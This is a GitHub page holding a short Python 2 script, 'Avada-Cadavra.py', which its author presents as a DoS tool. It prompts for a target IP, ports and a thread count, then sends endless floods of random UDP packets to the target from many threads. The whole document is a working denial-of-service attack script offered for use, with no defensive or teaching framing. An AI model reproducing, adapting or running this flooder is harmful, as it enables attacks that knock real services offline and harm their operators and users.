-
Notifications
You must be signed in to change notification settings - Fork 7
/
Avada-Cadavra.py
78 lines (64 loc) · 1.28 KB
/
Avada-Cadavra.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import socket, random, threading
print"""\033[92m
################################
hello there and welcome!!!
this is Chaotic Mind's property
so expect an exciting experience
for you with this DoS tool
Tool:
Avada-Cadavra.py
Author:
Chaotic Mind
enjoy!!!!
################################ """
def f():
global pr
pr=[]
n=input('\n OPEN PORTS NUMBER:\n >')
print'\n PORTS:'
for z in range(n):
po=input(' >')
pr.append(po)
return pr
ip=raw_input('\n\n TARGET IP:\n >')
f()
b=input('\n USE THREADS?\n 1-yes\n 2-no\n >')
if b==1:
y=input('\n THREADS:\n >')
else:
pass
i=0
def b(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 160)
out_str += chr(a)
return(out_str)
def k():
global i
i+=1
if i%1000==0:
print'packets sent:', i
def so():
for p in pr:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip,p))
s.sendto(b(random.randint(10,15)),(ip,p))
k()
except socket.error:
pass
class HTTPThread(threading.Thread):
def run(self):
try:
while True:
so()
except Exception, ex:
pass
if b==1:
for x in range(y):
t = HTTPThread()
t.start()
else:
while True:
so()